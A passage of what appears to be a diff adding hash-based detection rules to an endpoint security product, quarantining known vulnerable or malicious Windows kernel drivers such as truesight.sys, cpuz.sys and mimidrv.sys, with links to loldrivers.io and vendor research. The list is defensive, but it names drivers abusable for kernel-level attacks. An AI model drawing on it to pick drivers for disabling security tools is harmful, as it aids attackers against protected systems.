+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cd70ed8-437c-5b22-8dcf-5316cd4f3006",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977747Z",
+  "creation_date": "2026-03-23T11:45:29.977749Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4",
+  "comment": "Vulnerable Kernel Driver (aka Lv561av.sys) [https://www.loldrivers.io/drivers/47a351ee-8abe-40d8-bc2b-557390fa0945/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ce38a23-d8db-5b66-9565-df1c397d663c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825687Z",
+  "creation_date": "2026-03-23T11:45:30.825689Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f256356057405d71b89957a70fe19839aefc306a9031a96ad88d0cc9984e316",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ce71100-4a00-534e-ace0-3c5bc3bfe386",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822442Z",
+  "creation_date": "2026-03-23T11:45:30.822444Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822449Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da99d80082f3492080cd036d121d6d017b9e8d09edcd59e099b1755aa7e9be16",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ce988f2-c60d-50c8-b76c-bb80567d8dc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619683Z",
+  "creation_date": "2026-03-23T11:45:29.619685Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1deae340bf619319adce00701de887f7434deab4d5547a1742aeedb5634d23c6",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cead37d-a579-549a-a769-670133d2de75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823257Z",
+  "creation_date": "2026-03-23T11:45:31.823260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a051ab0a007d473083fac3cb8b7ef1a1a89af0a55b77e1795c5ea3917c4280cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cf3c576-3535-5b70-887e-7f8530b64044",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481197Z",
+  "creation_date": "2026-03-23T11:45:31.481201Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb270e71a7af28e15663fee5aead3ecdf17107d57fe6a3ea70fc47085bfadfeb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cf45311-f53d-532f-87a4-e3545d422448",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825887Z",
+  "creation_date": "2026-03-23T11:45:31.825890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9cdf3495a1bb54e0c4393144d9a03c1a677e44e1a4bd9a25535f11af95055d7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cfa0b06-3d5e-51a9-a287-9c20cc2a4701",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472951Z",
+  "creation_date": "2026-03-23T11:45:30.472954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40da0adf588cbb2841a657239d92f24b111d62b173204b8102dd0e014932fe59",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2cfe9432-2983-56d3-9095-235d3d2a22f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472025Z",
+  "creation_date": "2026-03-23T11:45:30.472028Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65deb5dca18ee846e7272894f74d84d9391bbe260c22f24a65ab37d48bd85377",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d005334-b6cc-5a6b-b1bb-5533904dba30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825888Z",
+  "creation_date": "2026-03-23T11:45:30.825890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "365ab6a51b569492922d452c351c3c2b6a2cca74dd2078d9905bb9065d374bab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d0167f1-3c42-5192-8ea3-64162ac93d73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829079Z",
+  "creation_date": "2026-03-23T11:45:30.829081Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4f8ebedf80fdb13ccff95bfa4dc85feeb9b09e4dc5b4ede71a17e13796e5fe5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d0bed4a-ab1a-539b-b8fb-3ab612a9692e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822237Z",
+  "creation_date": "2026-03-23T11:45:31.822240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a14f1b5d2f9de3246277b7a1257933ade03c6c2e2f6f4a5b28529f23126a706c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d0d8f06-f34e-53bb-a7bc-c7fb849747aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815455Z",
+  "creation_date": "2026-03-23T11:45:31.815457Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eae1c884154b86ecf7bf42672704dafad2c9c276d67da490a127ea8fe17e0ede",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d0db0dd-6418-5ec1-ac67-44a9fb874a38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974592Z",
+  "creation_date": "2026-03-23T11:45:29.974594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3227dc2e8f83258810cf43719f02a8d52648eb17939fddd79fd70155a47305d",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d18ced3-9ca5-5f6b-bf51-e188d0bbb008",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604754Z",
+  "creation_date": "2026-03-23T11:45:29.604756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d22a591-e95e-5534-b3e8-c9efc27060f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469515Z",
+  "creation_date": "2026-03-23T11:45:30.469518Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469526Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab5b4c34bc49b3ae9c6a7607d97b2bd63d9a1b3c669ef18c8865c8a50a3254a9",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d27399a-5782-5e4f-93c0-4ff83d9ba94c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603867Z",
+  "creation_date": "2026-03-23T11:45:29.603884Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.603890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35a12d81f7062a22644b500d91b1603b4f97756ad165c3ea571e7fef55c24162",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d287735-a79a-5370-9984-8e5b12bc423f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616668Z",
+  "creation_date": "2026-03-23T11:45:29.616670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cb75429944e60f6c820c7638adbf688883ad44951bca3f8912428afe72bc134",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d326022-537d-5b39-b94a-e45fe2370021",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145800Z",
+  "creation_date": "2026-03-23T11:45:31.145802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c06f28debb4b70eda58fcc200135f50d3dc4fbc7dd0d9f71180cd81fdcc871f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d38ae6d-4d9f-5ed6-ad9f-6132bb960f2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468583Z",
+  "creation_date": "2026-03-23T11:45:30.468586Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "058c84860fb9fefd4c5cec57b6ef9f43146a6509b6894f2a27fb5a2dd16d578b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d4a8c8f-d2ab-5a1d-8b79-38f79dbee7a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150409Z",
+  "creation_date": "2026-03-23T11:45:31.150411Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150416Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "535a9cfd2cd3809db4ed92b8e64769ca9bf10aa9cd75e9e4ae500188706813cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d4cd469-62d1-58f3-96dd-1355ef03bc42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822362Z",
+  "creation_date": "2026-03-23T11:45:31.822363Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822369Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52ea7d44f5d0945b92a34c705495fa8f8aa9b2f45f2b22598d1e7f5e3f524376",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d4d7869-dab0-5a46-907b-986e430a6bad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
